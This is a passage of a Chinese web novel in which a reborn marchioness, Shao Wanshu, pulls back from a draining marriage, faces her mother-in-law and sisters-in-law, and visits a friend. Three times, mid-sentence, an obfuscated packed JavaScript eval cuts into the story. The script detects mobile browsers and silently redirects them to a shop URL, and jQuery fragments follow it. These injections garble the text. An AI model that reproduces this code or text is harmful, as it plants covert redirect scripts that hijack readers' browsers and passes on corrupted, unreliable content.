听到这番话邵婉淑有些茫然,略一思索才想起婚后她一直让人打听前院的消息。倒也不是想听什么朝堂机密,主要是想知道裴行舟屋里有没有别的女子。想到前世的经历,她觉得这个举动十分愚蠢。从前世的经历来看,打听了又能如何呢?裴行舟的确如传言一般,不近女色,身边没有别的女人,连个通房侍妾都没有。可这丝毫不妨碍他去打仗时身边有了别的女人。 想到这里,邵婉淑道:“以后不要再打听前院的消息了。” 阿梨一怔,说道:“夫人尚未有身孕,万一有那贱人在夫人前面生下庶长子该如何?” 阿梨这话说得没错,前世便是如此。 “这种事防也防不住。他若真无意,把人送到他床上去他都能把人扔出来。他若是有意,打仗时也能生个孩子。” 阿梨愣愣地站在原地。半晌,说了一句:“侯爷不是这样的人。” 知人知面不知心,她从前也觉得裴行舟不是这样的人。 “不管他是什么样的人,咱们把自己的日子过好就行了,至于他歇在哪里都随他吧。” 吃过饭后,阿桔见自家夫人的左脸已经几乎看不出痕迹了,试探地问道:“夫人,咱们今日去给老夫人请安吗?” 邵婉淑靠在了榻上的迎枕上,拿起一本书,柔声道:“不去。” 声音虽不大,但却很坚定。 阿桔有些诧异。夫人一向最注重礼仪,从前在娘家时不管刮风下雨还是生病身体不适,她每日都会去给老爷夫人请安。如今嫁入了侯府中,亦是如此。 昨日尚且可以说是脸颊红肿,怕丢了颜面,所以不去。今日既然已经好了些,为何还不去? 因为和邵婉淑一同长大,阿桔大着胆子问出了心头的疑惑:“夫人为何不去?” 邵婉淑言简意赅:“身体乏,不想去。” 她昨晚噩梦缠身,并没有睡好,今日也提不起精神来。 前世她每日都忙忙碌碌的。婚前被爹娘要求做京城的贵女,别人能做到的,她也要做到,别人做不到的,也逼着她去做。 婚后又被逼着做京城中最贤惠的贵妇。她每日都早起服侍丈夫,为丈夫准备好一切,晚上丈夫不回内宅,她也会送些茶水点心。每日去跟婆母请安,早晚各一次。不管身体有多么疲惫,从来不耽搁。 她跟侯府的每个人都搞好关系。然而,因为管家一事,触动了一些人的利益,最终还是得罪了许多人。但她并未为自己的选择而后悔。管家的不易,她自己知道,她咬碎牙齿和血吞,维持住表面的光鲜亮丽。 她不仅要管家,还要时常出府去应酬。 京城人人都在称赞她贤惠能干。 可这样又能如何呢? 丈夫去世的消息传来,那些人转头就变了嘴脸,说她克死了丈夫。一夕之间,她的名声发生了翻天覆地的改变。她一下子从高高在上的贵妇变成了人人喊打厌弃的不祥之人。 她紧绷的那根线终究还是断了。 若那些痛苦的梦境便是前世,重活一世,她何必再继续折腾自己,活在旁人的眼中,不如放过自己。 看着夫人脸色不对,阿桔还欲再说什么,阿梨连忙抬手扯了扯她的衣角,将她拉了出去。 二人出了门,阿梨低声道:“那日老爷打了夫人,夫人明显心情不好,你也知道夫人重脸面,她肯定不高兴。” 阿桔:“我这不是担心老夫人那边对夫人不满么。” 阿梨:“我倒觉得不会,我听说之前二夫人有了身孕时,老夫人也给她送过鸡汤。老夫人昨日一大早就让人送来了鸡汤,想必也是盼着夫人早日生个孩子。” 一听这话,阿桔眼前一亮。 “好姐姐,还是你心细,我只担心着夫人被老夫人责备,没想那么多。” 当晚,邵婉淑又做那个噩梦了。醒来后,头有些沉。自从重生回来,她只有第一晚睡得比较熟,后面每晚都会噩梦缠身。 她抬起纤细的手揉了揉酸胀的额头,缓了一会儿后,舒服了些。 看着镜中脸上已经彻底没有了痕迹,吃过饭后,她收拾了一番,去了祥和院。今日她去的晚,她过去时早起请安的人都已经陆陆续续离开了,她是故意选在这个时候过去的。 作为儿媳,她理应过来服侍婆母,她已经躲了几日。况且,婆母还给她送了鸡汤,她作为晚辈应该来谢谢长辈。纵然知道婆母不喜自己,该有的礼数还是要有。但想到前世定南侯去世后侯府众人的嘴脸,她这几日除了婆母,着实不想见侯府众人。 “儿媳见过母亲。” 姜老夫人打量了一眼邵婉淑。她觉得儿媳给她的感觉很是奇怪,虽然她脸色不太好,但眉宇间的愁绪却消失不见了,整个人看起来比从前轻松了许多。 邵婉淑虽然是自己的长媳,却是三个儿媳里面最小的那个。以前瞧着她总是愁眉不展,身板挺直,一副老气横秋的模样,今日倒是像个小姑娘了,没那么紧绷了。 “你最近是没休息好吗?” 邵婉淑看着姜老夫人眼里的关切,心里一热。 “嗯,可能是天气越来越热了,没睡好。” 姜老夫人知道儿子最近一直在忙,有两日没回内宅了。儿媳又是新媳妇,怕是心里不得劲儿。 “不管怎么样,人一定要吃好睡好身体才能好。” 邵婉淑听出来姜老夫人是真的在关心她,想起姜老夫人送的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929603|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡汤,道:“多谢母亲让人送的鸡汤。” 姜老夫人笑得更开心了。 “你若喜欢我再让人熬一些,争取早日有身孕。” 姜老夫人说话还是一如既往地直白。 邵婉淑一时没跟上姜老夫人的思绪。 定南侯府是武将之家,姜老夫人平日里说话没那么多弯弯绕绕。 前世她很不习惯,一直觉得姜老夫人看她不顺眼。对她说话时声音很大,话也比较直接,不知委婉。后来二人因为管家的事情闹得不太愉快,关系越来越差,姜老夫人很少再主动跟她说话,看她的眼神也十分冷淡。 然而,在裴家族中人上门逼着她认下那个女子腹中的未出世的孩子时,是姜老夫人力排众议站在了她这边。有人说是因为姜老夫人不疼爱定南侯想把她这个绊脚石撵出府去,好把爵位传给二儿子,也有人说是因为姜老夫人对邵婉淑这个儿媳不满。 但姜老夫人却在私下告诉她,她活得太苦了,她不想因为一个孩子将她绊住。她想留就留,想走就走,不会有任何人阻拦她。 婆母虽然不喜她,但却在关键时刻为她着想。 跟父亲的绝情相比,姜老夫人的态度显得十分的贴心。 或许,她这一世可以好好跟婆母相处。 邵婉淑垂眸掩盖了眼底复杂的情绪,调整好之后,又抬起头看向姜老夫人。 “多谢母亲。” 姜老夫人笑着拍了拍儿媳的手。 儿媳是文臣之女,最喜欢讲究那些死规矩,心思也敏感细腻的很。常常跟众人说着说着话情绪就变了,不知哪句话又令她不满意了。 她原本觉得儿子是个武将,娶个娇弱的文官之女,两人一文一武能够互补一下。没想到儿媳虽是文官之女,性格也是温婉贤淑,但却有些古板,令儿子十分不喜。 今日她倒是乖巧得很。 人总是会变的,从前兴许是刚嫁过来还不适应。姜老夫人乐于看到儿媳的改变,脸上的笑意加深。 夜渐渐深了,裴行舟处理完公务。肚子突然有些空,他看了一眼空荡荡的桌子,开口询问:“点心呢?” 青云惊讶地看向自家侯爷。侯爷一向不爱吃甜食,在夫人嫁过来之前他晚上从来不吃东西。一开始夫人送来的东西侯爷碰都不碰,也就是半个月前开始才偶尔用了一些。 “我这就让人去准备。” 这不是裴行舟想要的答案,他淡淡地扫了眼青云。 裴行舟的目光极具压迫感,青云心里一紧,连忙解释:“之前的点心是夫人准备的,今日她没送过来。” 裴行舟神色微怔。他虽不确定,但隐约感觉之前每晚她都会送茶水和吃食,最近倒是不送了。那晚她的反应也很是奇怪,似乎疏离了些。 为何? 青云再次说道:“我这就让厨房准备。” 裴行舟并不算饿,这点心也不是非吃不可。他起身,清冷的嗓音响起:“不必了。” 青云:“是。” 5. 第 5 章 既然决定要好好和姜老夫人相处,第二日,邵婉淑没再特意避开府中的人,但也没像从前一样争第一。她最近总是做噩梦,睡得不好,等睡足了才过去。 她到时,侯府的女眷基本上都已经到了。除了管家的二夫人,她是最晚一个到的。 整个侯府一共有三位爷,两位姑娘。定南侯裴行舟是长子,裴行凛是次子,他们二人是嫡子,皆是姜老夫人所出。裴璃行三,是庶子。大姑娘裴温静是庶出,二姑娘裴明瑛是嫡出。 按理说裴行舟应当是第一个成婚的,然而,适婚的年纪他在外打仗,无法回京。而当时老侯爷身体欠佳,于是裴行凛和裴璃相继成了亲。等到裴行舟打仗归来,老侯爷又去世了,裴行舟守孝三年,年纪虽然大,但却成了兄弟三人中最晚成亲的。大姑娘和二姑娘如今也到了适婚的年纪。 邵婉淑一进去,屋里众人便朝着她看了过去。 众人起身朝着邵婉淑行礼。 从前,邵婉淑觉得自己是高嫁,在侯府便多了几分小心谨慎,努力和侯府众人处好关系。既然大家是同辈,有几人又年长于她,她便不会受全这个礼,在众人行礼时就会回礼。 想到裴行舟去世后这些人的嘴脸,这一次,邵婉淑并未还礼,直着身子受全了众人的礼。走到姜老夫人面前给她见礼,随后落座,对众人道:“坐吧。” 二姑娘裴明英早就坐下了,三夫人柳氏晚了一步,要坐不坐,只有大姑娘裴温静还垂头站在那里。 听到邵婉淑的话,裴明英和柳氏神色都有几分尴尬。 邵婉淑的目光淡淡划过她们二人,对着站在最后的裴温静点了点头。 邵婉淑虽然什么话都没说,裴明英和柳氏却都感觉她在说她们二人没规矩。 裴明英是嫡出的,又是府里年轻一辈里最小的,一向受宠,脸上甚至有几分恼怒。 邵婉淑眼角瞥到了,只当做是没看到。有些规矩还是要讲一下的,若是长此以往下去,便分不清长幼尊卑了。 这时,柳氏笑着开口说道:“听说大嫂前几日身子不适不能给母亲请安,我瞧着你脸色红润,不像是生过病的样子。” 柳氏虽是庶子媳,但她是姜老夫人娘家那边的亲戚,因此跟姜老夫人的关系极好,整个侯府没人敢小瞧她。方才邵婉淑暗暗让她没脸,她立即就反击回来。 邵婉淑自打嫁入侯府就感觉到柳氏对她的不喜,从前她一直不明白为什么。直到裴行舟的死讯传来,柳氏歇斯底里地跟她大吵一架,她方才知晓缘由。原来柳氏一直爱慕裴行舟,即便做不成正妻,也想做裴行舟的妾。然而,这个想法被裴行舟拒绝了。后来,她甘愿做姜老夫人的眼线,嫁给了庶子裴璃,这样便能时时刻刻看到裴行舟了。 邵淑婉得知此事时,很是震惊,今日再看柳氏颇觉得有些恶心。若是从前,她顾着大体,决不会给柳氏难看,也不会多说什么。如今重活一世,心态和从前不同了。 “三弟妹何时通了岐黄之术,竟连我是否身体有恙都能看出来了,我看往后府里也不用请郎中了,三弟妹代劳便是了。” 柳氏显然没有料到邵淑婉会这样回答她。往常不管她话语里如何夹枪带棒,她最多皱皱眉,从不跟她争辩。今日竟然把她和那些身份低下的郎中相提并论。她虽然很生气,但又觉得自己终于抓住了邵婉淑的错处,立即看向婆母,委屈地道:“娘,您瞧瞧,大嫂竟然羞辱我。我不过是想说大嫂的病好得快,为她高兴罢了,她竟把我和那些郎中比。” 姜老夫人脸色不太好看,似是在想些什么事。 邵婉淑端起茶轻抿一口,在姜老夫人开口前道:“三弟妹没事还是多读些书吧,免得表述不清楚让人误会。我是你的长嫂,咱们是一家人,我可以不跟你计较,若是到了外面你再这样说可就要丢侯府的脸面了。” 柳氏的脸彻底挂不住了。 邵婉淑的嘴皮子什么时候这么利索了?她不是最少言寡语的人么。 不仅仅是她,在坐的众人也是第一次听到邵婉淑说这么多话。 姜老夫人琢磨了片刻,看了柳氏一眼,道:“好了,萍儿,今日本就是你不对,跟你大嫂道歉。” 柳氏觉得委屈极了。往日她这样说邵婉淑也没人说她什么。今日邵婉淑一计较,婆母也跟着她计较。婆母平日里再疼她,到了关键时刻还是向着自己的亲儿媳。这个府里她仰仗的就是婆母,婆母都这样说,她就只能道歉。 “大嫂,对不起,以后我一定会注意的。” 邵婉淑淡淡地应了一声,并没有因为柳氏道歉而得意,仿佛是再寻常不过的事。 姜老夫人看邵婉淑时换了一种态度,见邵婉淑眼下有些青黑,道:“婉淑,你若觉得身子不适便不必日日来请安了,让人过来知会我一声便是,咱们武将家不讲究那些俗套的规矩。” 邵淑婉:“多谢母亲。” 柳氏瞧着眼前婆媳二人融洽的样子,心里更加不适。 之前婆母还跟她抱怨过,说邵淑婉性子太过死板沉闷,不得侯爷的喜欢,言语间对她有几分不满,如今却好的跟亲母女一般。 就在这时,一阵清脆的声音由远及近在屋里响了起来。 “抱歉,我来迟了。今日采买的管事竟敢糊弄我,把一文钱一斤的白菜说成了十文,被我好一通教训。母亲可要原谅我啊!” 姜老夫人笑着说:“我还没怪你呢,你自己先认错了。话都被你说了,我哪还好意思责怪你?你管家辛苦了,快坐下歇歇,喝口茶。” 杜氏:“还是母亲疼我。” 亲疏远近,一目了然。 柳氏见邵婉淑在看杜氏,心思一动,立即笑着说:“二嫂说什么呢,你每日管家辛苦了,母亲最疼二嫂了,怎么舍得责怪你?” “最”字咬得格外清楚。 方才婆母待邵婉淑态度再好又如何,在婆母心中最喜欢的还是杜氏。 姜老夫人听到这话眼神陡然变得锐利,脸上的笑容不变,嘴里说道:“咱们是一家人,你们几个都跟我的闺女似的,我都疼。” 杜氏也接了一句:“要我说啊,母亲还是最疼三弟妹了,毕竟母亲可是三弟妹的远房姨母,从小看着三弟妹长大的。” 姜老夫人笑着说:“瞧瞧,还吃醋了。” 说话时,不仅看了杜氏,还看了邵婉淑,最后目光落在了柳氏身上,给了柳氏一个警告的眼神。 众人配合的笑了起来。 邵婉淑端起茶轻抿一口。 虽说裴行舟和裴行凛都是姜老夫人所出,可二人在姜老夫人心中的地位却不同。姜老夫人怀裴行舟时正逢战乱,老侯爷去打仗了,姜老夫人在外躲藏,一个人行动不便。在裴行舟出生后没多久,姜老夫人便将他寄养在一户军户人家,独自一人冒险回京。直到十年后,天下太平,裴家才将裴行舟接回了侯府。 裴行舟早就跟养父母有了感情,跟侯府这边并不亲近,甚至还偷偷跑回了原来的家。老侯爷没少因为这件事打他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929604|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。裴行舟在侯府待了几年后,总算是跟裴家有了些感情。结果,侯府将老侯爷病重一事瞒了下来,以至于他没能见到老侯爷最后一面。裴行舟跟姜老夫人之间的关系便彻底僵住了。 裴行舟离京之前跟姜老夫人的关系依旧没有缓和。 前世一开始邵婉淑并不知道这件事,她只觉得裴行舟和婆母之间怪怪的,直到后来无意间听到了族里人的谈话才知晓了此事。 裴行凛不同,他是跟在姜老夫人身边长大的,姜老夫人对他很是疼爱。 不仅如此,杜氏嫁过来已经有六年的时间,而邵婉淑刚刚嫁过来不足三月。她们二人自然是没法比的,她也从没想过要何杜氏比。柳氏的如意算盘算是打错了。 杜氏进来之后,二姑娘裴明英便主动靠过去跟她聊了起来,姑嫂二人显得十分亲近。二人说着话,时不时跟姜老夫人聊上几句。 柳氏试图插入三人的对话,结果每次都找不到合适的时机,弄得自己很是尴尬。 大姑娘裴温静在最边上坐着,垂着头,一句话也不说。 邵婉淑昨晚没睡好,喝了一杯茶就离开了,不似从前那般留到最后。在她离开后,柳氏想跟姜老夫人说邵婉淑的坏话,姜老夫人只当做没听到。 邵婉淑去榻上休息了一会儿,阿桔一脸喜色地从外面回来了:“三夫人被老夫人罚抄家规了,可见老夫人也没那么向着她。” 邵婉淑略一思索就明白了。 “她今日挑拨几房的关系,母亲自然是容不下她的。” 深夜,裴行舟忙完了公务,捏了捏有些酸胀的眉心。 青云:“侯爷,奴才让人去打探了一下,那日邵侍郎同夫人说话时只有邵侍郎、侍郎夫人、夫人以及阿梨在场,屋里再无其他人,实在是打听不出来邵侍郎和夫人说了什么。” 侍郎和侍郎夫人是不可能往外说的。阿梨又是个稳重又忠心的,嘴巴严得很,他试着让人从单纯一些的阿桔那里打听了一下,结果阿桔什么消息都没透露出来,也不知是真不知道,还是装的。 裴行舟微微颔首。打听不出来也没关系,如果邵侍郎吩咐了邵婉淑一些事,邵婉淑接下来定会有所行动。 “夫人最近几日在忙什么?” 青云:“夫人前几日没有出韶华院,昨日和今日都在一早去祥和院给老夫人请安,回来后就没再出过韶华院。” 裴行舟坐在椅子上思索片刻。想到那日邵婉淑肿起来的脸颊,以及最近的反常,他起身朝着内宅走去。 青云惊讶地看向自家侯爷,侯爷几日前刚回了内宅,今日竟然又去了。呆愣了一瞬后,他连忙跟上了。 此刻已近子时,邵婉淑早已入睡,韶华院中只有值夜的人还醒着。 裴行舟的突然出现令韶华院中的人措手不及。 阿梨刚在外间打了个盹儿,听到守门的婆子开门的声音,惊醒过来,朝着外面走去。瞧着已经入院的裴行舟,她连忙上前去请安:“见过侯爷。” 裴行舟看了一眼没有一丝光亮的主屋,脸沉了下去。 “夫人睡了?” 他虽不常回内宅,但每次不管他何时来,主屋的灯永远都是亮着的,邵婉淑也会起身迎接他,今日不仅没有出来迎接,竟是等都不等他了。 阿梨硬着头皮解释:“夫人这两日身体有些不舒服,早早睡下了。奴婢这就去叫醒夫人。” 裴行舟没有同意也没有拒绝,他盯着紧闭的房门看了片刻,沉着脸转身离去。 6. 第 6 章 邵婉淑又做那个噩梦了。 梦里的她被人用白绫死死勒住了脖子,呼吸不得。她拼命挣扎,却始终无法挣脱桎梏。 “救命……救命……” 裴行舟刚往前走了两步,突然听到了屋里有人说话的声音,他立即停下了脚步。仔细一听,竟邵婉呼救的声音,他顾不得其他转身快步朝着主屋走去。 阿梨正左右为难着,见侯爷又转身回来了,她有些惊讶。没等她张口询问,就见侯爷大步从她身边经过,推开主屋的门进去了。进去之后,他去了里间。走到床边,掀开了床幔。 邵婉淑正在床上挣扎着,闭着眼,满头大汗,满脸痛苦的神色。 原来又做噩梦了,裴行舟抬手轻轻拍了拍邵婉淑的肩头。 “夫人,醒醒。” 邵婉淑恍若未觉。 裴行舟的大掌搭在邵婉淑的肩膀上,抬手又拍了一下,唤了一声:“夫人,快醒醒。” 邵婉淑突然抓住了裴行舟的手。 裴行舟以为邵婉淑醒了过来,道:“夫人醒了?” 床上的人却久久没有回答。 裴行舟仔细瞧了瞧,这才发现邵婉淑并没有醒。他就这样待了一会儿,见邵婉淑情绪稳定下来,正欲抽手离开,床上的人又皱起了眉,裴行舟只好停止了动作。他又在床边坐了一会儿,再次尝试着抽了抽手,见床上的人神情不对,便没再动。 阿梨看了一眼裴行舟,垂下头,默默退了出去,轻轻地关上了房门,转身便和青云的目光对上了。她朝着对方微微点头,搬了两把椅子,两人一左一右,坐在了廊下。 裴行舟见时辰不早了,索性脱鞋上了床。 这个动作不太舒服,他小心翼翼地换了一条胳膊让邵婉淑抱着。 邵婉淑却在这时突然侧过身面对着裴行舟,将裴行舟的胳膊抱入了怀中,像是抓住了救命稻草一样,抱得有些紧。 裴行舟并不喜旁人的触碰,尤其是这种触碰,整个人像是被束缚住了。他有些不悦,浓眉皱了起来。他抽了抽胳膊,试图摆脱邵婉淑的束缚。结果邵婉淑抱得更紧了,柔软的身体紧紧贴在了他的胳膊上。 裴行舟心头一热,侧头看向身侧人。只见邵婉淑长及腰间的乌发如瀑一般凌乱地散在了枕头上,白色的里衣从肩头滑落,大半个肩头裸露在外面,粉色的肚兜也露了出来,隐约能看到包裹着起伏的身体。 她一向都是端庄规矩的,就寝时也要穿戴齐整,即便两人最亲密的时候也是一副板板正正的模样。 他何曾见过她这样…… 这样妩媚的一面。 裴行舟觉得喉咙有些发紧,喉结滚了滚,呼吸也重了些。 他是个正常男人,又许久没跟妻子同房,看着这一幕心神一荡,心里便有了些想法。他盯着邵婉淑看了许久,终究还是克制住了自己,挪开眼,凭着感觉想要为邵婉淑拉好衣裳。结果一向动作利索的他,竟然没找准位置,拉了几次不仅没有拉好衣裳,还触碰到了她细嫩的皮肤。 最后,他拉过一旁的被子,将她裹严实了。 裴行舟终于阖上了眼皮。他担心邵婉淑又继续做噩梦,因此一夜睡得并不沉,快天亮时却睡沉了些,等醒来时已经卯正了,比平时晚起了几刻钟。他抬了抬有些麻木的胳膊,侧头看向了身侧之人。 结果对上了一双清澈的双眼。 邵婉淑这一晚没有做噩梦,睡得极好,因此她早早醒了过来。看着眼下的情形,她无比震惊。裴行舟很少回内宅,即便是回来了,两人也都是平躺着睡,一个在里侧,一个在外侧,中间隔着一段距离,谁都不碰谁。昨晚她竟是抱着裴行舟的胳膊睡的。 刚睡醒还有些懵,她一时之间没反应过来,等她反应过来时已经对上了裴行舟的眼睛。 裴行舟盯着邵婉淑看了片刻,哑声问:“醒了?” 邵婉淑有些呆愣地答:“嗯。” 裴行舟:“昨晚睡得可好?” 邵婉淑:“挺好的。” 裴行舟将胳膊抽了出来,坐起身来,活动了一下僵硬的胳膊。 看着裴行舟的动作,邵婉淑似乎明白了什么,有些歉疚地道:“抱歉。” 昨晚穿的外衣已经皱得不像样子,裴行舟抬手脱了下来,沉声道:“不必。” 青云听到动静,拿着朝服在外间候着。 裴行舟穿上了鞋子,站起身来,朝着外间走去,很快便换好朝服离开了。离开前,他看向阿梨,问了一句:“夫人最近每晚都做噩梦吗?” 他一共来了两晚,每晚都见她做噩梦,似乎做的还是同一个梦。 阿梨一怔,道:“夫人不曾做噩梦。” 裴行舟神情一肃,冷冷地看了阿梨一眼,侍郎府的这些奴才们竟没有一个中用的,再开口时语气重了几分:“伺候夫人时上些心。” 阿梨感觉后背一凉,忙应道:“是,奴婢记住了。” 裴行舟一走,阿梨就赶紧进来了。 邵婉淑正坐在床上发呆,见阿梨进来,问道:“侯爷何时来的?” 阿梨:“昨晚子时左右。” 邵婉淑:“你仔细同我说说他来时的情形。” 阿梨把昨晚所有的事情都跟邵婉淑说了。 “……本来侯爷已经决定要走了,结果不知听到了什么又转身回来了。然后他来到了床边,拍了拍夫人,夫人抱着侯爷的胳膊不松手……” 邵婉淑眉头死死皱了起来。 “我抱着侯爷?” 她睡觉一向老实,怎么可能会在梦里抱着一个男子的胳膊呢?前世和裴行舟成亲那么久她都没做过这样的事情。每次晚上怎么睡的,醒过来还是什么样子。 阿梨:“是真的,奴婢亲眼所见。” 邵婉淑简直不敢相信,可阿梨不会骗她的。 阿梨想到刚刚侯爷的吩咐,道:“或许是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929605|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人昨晚做噩梦了。” 邵婉淑最近的确一直在做噩梦,可她明明记得昨晚没做。 “你为何这样说?” 阿梨:“因为刚刚侯爷问奴婢您是不是每晚都做噩梦,奴婢说您不曾做噩梦,侯爷还有些不高兴。” 邵婉淑惊讶地看向阿梨,裴行舟怎么知道她每晚做噩梦的?既然说每晚,那就说明他不止一次见到过。她仔细想了想,裴行舟并不是每晚都过来,自从她重生回来,他一共来过两晚。除了昨晚,便是她回来的当晚,而恰好这两晚她都没有做噩梦。 所以,她并非是没做噩梦,而是因为裴行舟在,噩梦被压回去了? 会不会因为裴行舟是将军,阳气比较重,所以他在的时候噩梦不敢来寻她? 若是从前,邵婉淑得知自己抱着裴行舟睡了一夜,还导致裴行舟自己没睡好,她一定十分愧疚,想方设法弥补,更加尽心服侍裴行舟。如今她只略微思索了片刻便将此事搁置在一旁了,事情已然发生了,裴行舟也没说什么,想再多也无益。 阿梨服侍邵婉淑起床。 在看到邵婉淑的左肩时惊呼一声:“夫人,您肩膀怎么回事?” 邵婉淑闻声看了过去,只见左侧肩头有些红,还有些淤青。她对此毫无印象,不知自己何时伤到了。 “我不记得了,可能是晚上睡觉的时候碰到哪里了。” 阿梨:“疼吗?要不要上药?” 邵婉淑抬手碰了一下,微微有些疼,她又动了一下肩膀,活动自如。 “不用,不碰时没什么感觉。” 阿梨没再多问,继续服侍邵婉淑穿衣。 或许是因为昨日被姜老夫人罚了,今日邵婉淑去祥和院请安时柳氏没敢再阴阳怪气,老老实实坐在那里。从祥和院回来,邵婉淑收到了一封信,她又去祥和院和姜老夫人说了一声,坐马车离开了侯府。 亥时左右,裴行舟忙完前院的事情,回了内宅。 看着如昨日一般漆黑的主屋,裴行舟脚步一顿。他盯着房门看了片刻,又继续朝前走去。推开门,走入了主屋中。直到来到了床边,才发现床上空无一人。随即,他沉着脸从主屋出来了。 青云见侯爷脸色不好,连忙垂了头。 裴行舟看向守门的婆子,沉声问:“夫人呢?” 婆子这才意识到侯爷竟不知夫人不在府中,她连忙垂下头,结结巴巴地说道:“夫……夫人一大早就离开侯府了,说是过几日才回来。” 裴行舟皱了皱眉,难不成又回娘家了? 前几日邵侍郎刚打了她…… “去哪里了?” 婆子:“老奴不知。” 裴行舟脸色不太好看,沉着脸回了外院中,他突然意识到邵婉淑似乎真的和从前不一样了。从前他虽然很少回内宅,但他知道她一直都在。而如今,他竟连她的行踪都不清楚了。 这种感觉让他有些不舒服。 7. 第 7 章 青云瞧出来侯爷心情不好,连忙去问了管事,得到了确切的消息后,立即回来禀告。 “今日辛夫人给夫人来信,邀她去山中别苑小住,夫人一大早就去了。” 裴行舟:“辛夫人?” 青云:“刑部侍郎的顾云彦的夫人,也是文德侯府的二姑娘,夫人出嫁前和她关系极好。” 这倒是让裴行舟有些许意外,邵婉淑性子沉闷,向来不爱与人交际。嫁入府中三个月,她和府中的女眷几乎不来往,他竟不知她还有朋友。 “嗯。” 另一边,邵婉淑正和辛卿卿一起躺在别院的屋顶上看星星。 邵婉淑活了这么久,第一次做这般出格的事情。 辛卿卿来信邀她去景山别院小聚,她第一反应是拒绝。作为侯府夫人,她怎好轻易出府?前世她也只在一些宴席上出现,别的时候都是待在侯府的。但内心却想要答应下来,于是她遵从了自己的心。她去跟婆母说了一声,套了马车出了门,见到了好友,来到景山别院。原来这一切都是那么简单。 辛卿卿和邵婉淑完全是两类人。她侯府嫡出的姑娘,备受宠爱,从小就是个活泼的性子。二人之所以会成为好朋友,起因是侯夫人的一句话。 辛卿卿性子跳脱,整日在外疯跑着玩,从不能安心下来学习琴棋书画。邵婉淑正相反,一向安安静静的,每次出门都安安静静跟在母亲陆氏的身边。侯夫人见邵婉淑乖巧听话,便跟女儿说:“你若是有邵姑娘一半安静为娘也能安心了。” 这话引起了辛卿卿的不满。京城娴静的淑女的确多,他们府上也有不少。只不过,她们大多都是装的,人前一套,人后一套,假得很。她认为邵婉淑也是这样的性子,为了反驳母亲,她让人盯着邵婉淑,想要挑她的不是。结果观察了一段后,她发现邵婉淑和那些假淑女不同,人前人后都是一样的。永远得体,永远安静,永远守规矩。看着看着,她竟开始觉得她可怜,觉得她活得太累了,对她生起了同情心。从那以后,有什么好玩的事情都喜欢带上她。 一开始,邵侍郎乐于见此事,文德侯府的门第高,是他们高攀了。后来他以辛卿卿性子太过跳脱为由,不愿让女儿见辛卿卿。 邵婉淑很喜欢辛卿卿,她非常羡慕辛卿卿,可父亲的话她不能不听。她还是违背了父亲的话,偷偷见过辛卿卿。辛卿卿看出来她的为难,慢慢的,两人见面的次数越来越少了。上一次见面应该是在邵婉淑成亲前。 前世这个时候辛卿卿也让人给她写了信。 辛卿卿和顾云彦吵了架,她先是回了娘家,结果顾云彦日日去娘家找她。侯爷和侯夫人都劝她跟女婿回家,她一怒之下便去了景山的别院,还叫上了她。那时候她正在府中争夺管家权,虽然很想见朋友,但却无暇顾及这边,便推脱了。再后来,辛卿卿还约过她出门,当时她管着家,焦头烂额,抽不空来。渐渐地,两人的联系便少了。 直到裴行舟去世的消息传来,辛卿卿当时正在月子里,她不顾众人反对,来到定南侯府为她撑腰,骂退了裴家族里想要欺负她的人。 想到前世,邵婉淑眼眶一热。 前世,她得到了许多无用的东西,失去了太多珍贵的东西。 辛卿卿的右手握住了邵婉淑的左手,脸上带着灿烂的笑容:“阿淑,没想到你竟会同意和我一起来别苑,还跟我一起爬了屋顶,以前无论我怎么跟你说你都不愿上来,谢谢你今日愿意陪着我。” 她和丈夫吵了架,母亲一直在说她的不是,她烦死了,就想出来静静。可她喜欢热闹,不想一个人去,便想找个朋友一起。这时,她想到了许久没有联系的邵婉淑。虽然她和邵婉淑见面越来越少了,但出了事她还是第一个想到了她,于是便给她写了一封信。信送出去之后,她便后悔了。因为她知道邵侍郎不愿让女儿和她来往,而邵婉淑又很听她父亲的话,她也不愿让好友为难。没想到她竟很快收到了回信,两人便一起来了山中。 邵婉淑紧紧握住了辛卿卿的手,她今日所为和辛卿卿对她的帮助不值一提。 “卿卿,只要你需要我,我永远都在。” 她再也不会像前世一样为了一些不值当的东西丢掉最珍贵的东西。 辛卿卿心里一喜,裂开嘴笑了。 “你成亲后比从前会说话了。” 两个人最后一次见面是邵婉淑成亲前一个月,那时辛卿卿已经成亲了,而邵婉淑刚刚被皇上赐婚。辛卿卿登门去恭喜邵婉淑,结果两个人没聊几句,陆氏身边的人就把邵婉淑叫走了。 邵婉淑没说话,眼睛看着头顶上的星空。星空如此浩瀚,人又如此的渺小,烦恼又算什么呢,她突然觉得心情开阔了许多。 